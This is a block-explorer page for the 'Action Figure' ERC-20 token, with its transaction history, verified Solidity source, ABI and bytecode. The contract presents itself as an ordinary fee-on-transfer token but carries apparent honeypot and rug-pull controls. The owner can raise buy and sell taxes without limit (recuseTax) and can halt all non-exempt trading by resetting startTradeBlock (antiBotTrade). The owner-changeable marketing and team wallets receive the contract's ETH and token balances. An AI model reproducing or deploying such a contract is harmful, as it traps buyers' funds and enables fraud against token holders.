Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 109 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Transfer | 22292911 | 3 hrs ago | IN | 0 ETH | 0.00005273 | ||||
Transfer | 22292833 | 4 hrs ago | IN | 0 ETH | 0.00005333 | ||||
Transfer | 22288311 | 19 hrs ago | IN | 0 ETH | 0.00008269 | ||||
Transfer | 22281639 | 41 hrs ago | IN | 0 ETH | 0.00005911 | ||||
Approve | 22280321 | 46 hrs ago | IN | 0 ETH | 0.00011562 | ||||
Approve | 22275923 | 2 days ago | IN | 0 ETH | 0.00003597 | ||||
Approve | 22275166 | 2 days ago | IN | 0 ETH | 0.00009251 | ||||
Approve | 22271052 | 3 days ago | IN | 0 ETH | 0.00002568 | ||||
Approve | 22268754 | 3 days ago | IN | 0 ETH | 0.00010522 | ||||
Approve | 22268747 | 3 days ago | IN | 0 ETH | 0.00012451 | ||||
Transfer | 22268716 | 3 days ago | IN | 0 ETH | 0.00021289 | ||||
Approve | 22268639 | 3 days ago | IN | 0 ETH | 0.00022122 | ||||
Approve | 22268440 | 3 days ago | IN | 0 ETH | 0.00019597 | ||||
Approve | 22268119 | 3 days ago | IN | 0 ETH | 0.00021306 | ||||
Approve | 22267715 | 3 days ago | IN | 0 ETH | 0.0001768 | ||||
Approve | 22267691 | 3 days ago | IN | 0 ETH | 0.0002074 | ||||
Approve | 22267249 | 3 days ago | IN | 0 ETH | 0.00031036 | ||||
Approve | 22267197 | 3 days ago | IN | 0 ETH | 0.00029771 | ||||
Approve | 22267180 | 3 days ago | IN | 0 ETH | 0.00041032 | ||||
Approve | 22267154 | 3 days ago | IN | 0 ETH | 0.00038102 | ||||
Approve | 22267096 | 3 days ago | IN | 0 ETH | 0.00062438 | ||||
Approve | 22267034 | 3 days ago | IN | 0 ETH | 0.00049676 | ||||
Approve | 22266971 | 3 days ago | IN | 0 ETH | 0.00063372 | ||||
Approve | 22266958 | 3 days ago | IN | 0 ETH | 0.00056791 | ||||
Approve | 22266949 | 3 days ago | IN | 0 ETH | 0.00043926 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Method | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|---|
Transfer | 22266304 | 3 days ago | 0.06193058 ETH | ||||
Transfer | 22266304 | 3 days ago | 0.00688117 ETH | ||||
Transfer | 22266304 | 3 days ago | 0.06125362 ETH | ||||
Transfer | 22266292 | 3 days ago | 0.00755813 ETH | ||||
Transfer | 22266290 | 3 days ago | 0.03973408 ETH | ||||
Transfer | 22266290 | 3 days ago | 0.00441489 ETH | ||||
Transfer | 22266290 | 3 days ago | 0.03424247 ETH | ||||
Transfer | 22266279 | 3 days ago | 0.0099065 ETH | ||||
Transfer | 22266269 | 3 days ago | 0.02862832 ETH | ||||
Transfer | 22266269 | 3 days ago | 0.00318092 ETH | ||||
Transfer | 22266269 | 3 days ago | 0.03180925 ETH | ||||
Transfer | 22266266 | 3 days ago | 0.08626148 ETH | ||||
Transfer | 22266266 | 3 days ago | 0.0095846 ETH | ||||
Transfer | 22266266 | 3 days ago | 0.09584609 ETH | ||||
Transfer | 22266263 | 3 days ago | 0.02855978 ETH | ||||
Transfer | 22266263 | 3 days ago | 0.0031733 ETH | ||||
Transfer | 22266263 | 3 days ago | 0.03173309 ETH | ||||
Transfer | 22266117 | 3 days ago | 0.09592226 ETH | ||||
Transfer | 22266117 | 3 days ago | 0.01065802 ETH | ||||
Transfer | 22266117 | 3 days ago | 0.10658029 ETH | ||||
Transfer | 22266114 | 3 days ago | 0.0675123 ETH | ||||
Transfer | 22266114 | 3 days ago | 0.00750136 ETH | ||||
Transfer | 22266114 | 3 days ago | 0.07501366 ETH | ||||
Transfer | 22266088 | 3 days ago | 0.02553647 ETH | ||||
Transfer | 22266088 | 3 days ago | 0.00283738 ETH |
Loading...
Loading
Contract Name:
Token
Compiler Version
v0.8.20+commit.a1b79de6
Optimization Enabled:
Yes with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapRouter { function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "you are not owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Token is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address payable public mkt; address payable private team; string private _name; string private _symbol; uint8 private _decimals; mapping(address => bool) public _isExcludeFromFee; uint256 private _totalSupply; IUniswapRouter public _uniswapRouter; mapping(address => bool) public isMarketPair; bool private inSwap; uint256 private constant MAX = ~uint256(0); address public _uniswapPair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (){ _name = unicode"Action Figure"; _symbol = "Figure"; _decimals = 18; uint256 Supply = 1_000_000_000; _totalSupply = Supply * 10 ** _decimals; swapAtAmount = _totalSupply / 20000; address receiveAddr = msg.sender; _balances[receiveAddr] = _totalSupply; emit Transfer(address(0), receiveAddr, _totalSupply); mkt = payable(receiveAddr); team = payable(receiveAddr); _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[receiveAddr] = true; _isExcludeFromFee[mkt] = true; _isExcludeFromFee[team] = true; IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapRouter = swapRouter; _allowances[address(this)][address(swapRouter)] = MAX; IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory()); _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH()); isMarketPair[_uniswapPair] = true; IERC20(_uniswapRouter.WETH()).approve( address(address(_uniswapRouter)), ~uint256(0) ); _isExcludeFromFee[address(swapRouter)] = true; } function setMKT( address payable newMKT, address payable newTeam ) public onlyOwner{ mkt = newMKT; team = newTeam; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } uint256 public _buyCount=0; uint256 private _initialBuyTax=2; uint256 private _initialSellTax=2; uint256 private _finalBuyTax=30; uint256 private _finalSellTax=30; uint256 private _reduceBuyTaxAt=29; uint256 private _reduceSellTaxAt=29; uint256 private _preventSwapBefore=40; function recuseTax( uint256 newBuy, uint256 newSell, uint256 newReduceBuy, uint256 newReduceSell, uint256 newPreventSwapBefore ) public onlyOwner { _finalBuyTax = newBuy; _finalSellTax = newSell; _reduceBuyTaxAt = newReduceBuy; _reduceSellTaxAt = newReduceSell; _preventSwapBefore = newPreventSwapBefore; } uint256 swapAtAmount; function setSwapAtAmount( uint256 newValue ) public onlyOwner{ swapAtAmount = newValue; } function _transfer( address from, address to, uint256 amount ) private { uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); if (inSwap){ _basicTransfer(from, to, amount); return; } bool takeFee; if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) { uint256 _numSellToken = amount; if (_numSellToken > balanceOf(address(this))){ _numSellToken = _balances[address(this)]; } if (_numSellToken > swapAtAmount){ swapTokenForETH(_numSellToken); } } if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) { require(startTradeBlock > 0); takeFee = true; // buyCount if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) { _buyCount++; } } _transferToken(from, to, amount, takeFee); } function _transferToken( address sender, address recipient, uint256 tAmount, bool takeFee ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 taxFee; if (isMarketPair[recipient]) { taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax; } else if (isMarketPair[sender]) { taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax; } uint256 swapAmount = tAmount * taxFee / 100; if (swapAmount > 0) { feeAmount += swapAmount; _balances[address(this)] = _balances[address(this)] + swapAmount; emit Transfer(sender, address(this), swapAmount); } } _balances[recipient] = _balances[recipient] + (tAmount - feeAmount); emit Transfer(sender, recipient, tAmount - feeAmount); } uint256 public startTradeBlock; function startTrade() public onlyOwner { require(startTradeBlock == 0, "already start"); startTradeBlock = block.number; } function antiBotTrade() public onlyOwner{ startTradeBlock = 0; } function removeERC20(address _token) external { require(msg.sender == mkt); IERC20(_token).transfer(mkt, IERC20(_token).balanceOf(address(this))); mkt.transfer(address(this).balance); } function swapTokenForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouter.WETH(); _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); uint256 _bal = address(this).balance; if (_bal > 0.01 ether){ mkt.transfer(_bal/10); team.transfer(address(this).balance); } } function setMarketingFreeTrade(address account, bool value) public onlyOwner{ _isExcludeFromFee[account] = value; } receive() external payable {} }
{ "optimizer": { "enabled": true, "runs": 200 }, "evmVersion": "paris", "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"},{"internalType":"address payable","name":"newTeam","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMarketingFreeTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600d556002600e556002600f55601e601055601e601155601d601255601d60135560286014553480156200003957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600d81526c416374696f6e2046696775726560981b6020820152600590620000ae908262000564565b506040805180820190915260068082526546696775726560d01b602083015290620000da908262000564565b506007805460ff19166012908117909155633b9aca0090620000fe90600a62000745565b6200010a90826200075d565b60098190556200011e90614e209062000777565b60155560095433600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b03199081166001600160a01b03848116918217845560048054841683178155306000818152600860209081526040808320805460ff1990811660019081179092559784528184208054891682179055985486168352808320805488168a179055845490951682528482208054909616909717909455600a8054737a250d5630b4cf539739df2c5dacb4c659f2488d96168617905583526002855281832084845285528183206000199055815163c45a015560e01b8152915193949293859363c45a01559380840193919291908290030181865afa1580156200025d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028391906200079a565b9050806001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fa91906200079a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000348573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036e91906200079a565b600c8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481166000908152600b6020908152604091829020805460ff19166001179055600a5482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa158015620003f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041891906200079a565b600a5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156200046c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004929190620007c5565b50506001600160a01b03166000908152600860205260409020805460ff1916600117905550620007e99050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004ea57607f821691505b6020821081036200050b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200055f57600081815260208120601f850160051c810160208610156200053a5750805b601f850160051c820191505b818110156200055b5782815560010162000546565b5050505b505050565b81516001600160401b03811115620005805762000580620004bf565b6200059881620005918454620004d5565b8462000511565b602080601f831160018114620005d05760008415620005b75750858301515b600019600386901b1c1916600185901b1785556200055b565b600085815260208120601f198616915b828110156200060157888601518255948401946001909101908401620005e0565b5085821015620006205787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006875781600019048211156200066b576200066b62000630565b808516156200067957918102915b93841c93908002906200064b565b509250929050565b600082620006a0575060016200073f565b81620006af575060006200073f565b8160018114620006c85760028114620006d357620006f3565b60019150506200073f565b60ff841115620006e757620006e762000630565b50506001821b6200073f565b5060208310610133831016604e8410600b841016171562000718575081810a6200073f565b62000724838362000646565b80600019048211156200073b576200073b62000630565b0290505b92915050565b60006200075660ff8416836200068f565b9392505050565b80820281158282048414176200073f576200073f62000630565b6000826200079557634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620007ad57600080fd5b81516001600160a01b03811681146200075657600080fd5b600060208284031215620007d857600080fd5b815180151581146200075657600080fd5b6115a080620007f96000396000f3fe6080604052600436106101855760003560e01c806365b61b77116100d157806395d89b411161008a578063a9059cbb11610064578063a9059cbb14610480578063d242fbcc146104a0578063dd62ed3e146104c0578063f2fde38b1461050657600080fd5b806395d89b411461042b578063a266e55e14610440578063a67755c21461046057600080fd5b806365b61b771461036d5780636c5808011461038d57806370a08231146103a2578063715018a6146103d85780637cc5b1e6146103ed5780638da5cb5b1461040d57600080fd5b8063313ce5671161013e5780633f80b6d7116101185780633f80b6d7146102da5780634bf28fd0146102fa578063553193ca146103375780636402511e1461034d57600080fd5b8063313ce5671461025857806336b2e0271461027a5780633ecad271146102aa57600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630c062020146101ec57806318160ddd1461020357806323b872dd1461022257806327b1a8e91461024257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610526565b6040516101b391906111dd565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004611243565b6105b8565b60405190151581526020016101b3565b3480156101f857600080fd5b506102016105cf565b005b34801561020f57600080fd5b506009545b6040519081526020016101b3565b34801561022e57600080fd5b506101dc61023d36600461126f565b610609565b34801561024e57600080fd5b50610214600d5481565b34801561026457600080fd5b5060075460405160ff90911681526020016101b3565b34801561028657600080fd5b506101dc6102953660046112b0565b60086020526000908152604090205460ff1681565b3480156102b657600080fd5b506101dc6102c53660046112b0565b600b6020526000908152604090205460ff1681565b3480156102e657600080fd5b506102016102f53660046112d4565b6106a0565b34801561030657600080fd5b50600c5461031f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561034357600080fd5b5061021460165481565b34801561035957600080fd5b5061020161036836600461130f565b6106e1565b34801561037957600080fd5b50600a5461031f906001600160a01b031681565b34801561039957600080fd5b50610201610710565b3480156103ae57600080fd5b506102146103bd3660046112b0565b6001600160a01b031660009081526001602052604090205490565b3480156103e457600080fd5b50610201610780565b3480156103f957600080fd5b5060035461031f906001600160a01b031681565b34801561041957600080fd5b506000546001600160a01b031661031f565b34801561043757600080fd5b506101a66107f4565b34801561044c57600080fd5b5061020161045b366004611336565b610803565b34801561046c57600080fd5b5061020161047b3660046112b0565b610858565b34801561048c57600080fd5b506101dc61049b366004611243565b610993565b3480156104ac57600080fd5b506102016104bb36600461136f565b6109a0565b3480156104cc57600080fd5b506102146104db36600461136f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561051257600080fd5b506102016105213660046112b0565b6109f8565b6060600580546105359061139d565b80601f01602080910402602001604051908101604052809291908181526020018280546105619061139d565b80156105ae5780601f10610583576101008083540402835291602001916105ae565b820191906000526020600020905b81548152906001019060200180831161059157829003601f168201915b5050505050905090565b60006105c5338484610abe565b5060015b92915050565b6000546001600160a01b031633146106025760405162461bcd60e51b81526004016105f9906113d7565b60405180910390fd5b6000601655565b6000610616848484610b1f565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610696576001600160a01b0384166000908152600260209081526040808320338452909152902054610671908390611418565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106ca5760405162461bcd60e51b81526004016105f9906113d7565b601094909455601192909255601255601355601455565b6000546001600160a01b0316331461070b5760405162461bcd60e51b81526004016105f9906113d7565b601555565b6000546001600160a01b0316331461073a5760405162461bcd60e51b81526004016105f9906113d7565b6016541561077a5760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c9d609a1b60448201526064016105f9565b43601655565b6000546001600160a01b031633146107aa5760405162461bcd60e51b81526004016105f9906113d7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600680546105359061139d565b6000546001600160a01b0316331461082d5760405162461bcd60e51b81526004016105f9906113d7565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b0316331461086f57600080fd5b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa1580156108c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e6919061142b565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611444565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561098f573d6000803e3d6000fd5b5050565b60006105c5338484610b1f565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105f9906113d7565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b6000546001600160a01b03163314610a225760405162461bcd60e51b81526004016105f9906113d7565b6001600160a01b038116610a635760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016105f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610b7b5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016105f9565b600c5460ff1615610b9857610b91848484610d4c565b5050505050565b6001600160a01b0383166000908152600b602052604081205460ff168015610bc35750600c5460ff16155b8015610be857506001600160a01b03851660009081526008602052604090205460ff16155b8015610c0d57506001600160a01b03841660009081526008602052604090205460ff16155b8015610c1c5750601454600d54115b15610c6157306000908152600160205260409020548390811115610c4c5750306000908152600160205260409020545b601554811115610c5f57610c5f81610e01565b505b6001600160a01b03851660009081526008602052604090205460ff16158015610ca357506001600160a01b03841660009081526008602052604090205460ff16155b8015610cb25750600c5460ff16155b15610d4057600060165411610cc657600080fd5b506001600160a01b0384166000908152600b602052604090205460019060ff168015610d005750600a546001600160a01b03858116911614155b8015610d2557506001600160a01b03841660009081526008602052604090205460ff16155b15610d4057600d8054906000610d3a83611461565b91905055505b610b9185858584610fe9565b6001600160a01b038316600090815260016020526040812080548391908390610d76908490611418565b90915550506001600160a01b03831660009081526001602052604081208054849290610da390849061147a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610def91815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e4357610e4361148d565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec091906114a3565b81600181518110610ed357610ed361148d565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790610f199085906000908690309042906004016114c0565b600060405180830381600087803b158015610f3357600080fd5b505af1158015610f47573d6000803e3d6000fd5b504792505050662386f26fc10000811115610fda576003546001600160a01b03166108fc610f76600a84611531565b6040518115909202916000818181858888f19350505050158015610f9e573d6000803e3d6000fd5b506004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610fd8573d6000803e3d6000fd5b505b5050600c805460ff1916905550565b6001600160a01b03841660009081526001602052604090205461100d908390611418565b6001600160a01b038516600090815260016020526040812091909155811561114e576001600160a01b0384166000908152600b602052604081205460ff161561106e57601354600d541161106357600f54611067565b6011545b90506110a9565b6001600160a01b0386166000908152600b602052604090205460ff16156110a957601254600d54116110a257600e546110a6565b6010545b90505b600060646110b78387611553565b6110c19190611531565b9050801561114b576110d3818461147a565b306000908152600160205260409020549093506110f190829061147a565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111429085815260200190565b60405180910390a35b50505b6111588184611418565b6001600160a01b03851660009081526001602052604090205461117b919061147a565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c58487611418565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561120a578581018301518582016040015282016111ee565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124057600080fd5b50565b6000806040838503121561125657600080fd5b82356112618161122b565b946020939093013593505050565b60008060006060848603121561128457600080fd5b833561128f8161122b565b9250602084013561129f8161122b565b929592945050506040919091013590565b6000602082840312156112c257600080fd5b81356112cd8161122b565b9392505050565b600080600080600060a086880312156112ec57600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b60006020828403121561132157600080fd5b5035919050565b801515811461124057600080fd5b6000806040838503121561134957600080fd5b82356113548161122b565b9150602083013561136481611328565b809150509250929050565b6000806040838503121561138257600080fd5b823561138d8161122b565b915060208301356113648161122b565b600181811c908216806113b157607f821691505b6020821081036113d157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156105c9576105c9611402565b60006020828403121561143d57600080fd5b5051919050565b60006020828403121561145657600080fd5b81516112cd81611328565b60006001820161147357611473611402565b5060010190565b808201808211156105c9576105c9611402565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114b557600080fd5b81516112cd8161122b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115105784516001600160a01b0316835293830193918301916001016114eb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261154e57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176105c9576105c961140256fea26469706673582212208bd8695d454bfb06feed464b5014205f8b95461af4e6d37837a8833826dd872764736f6c63430008140033
Deployed Bytecode
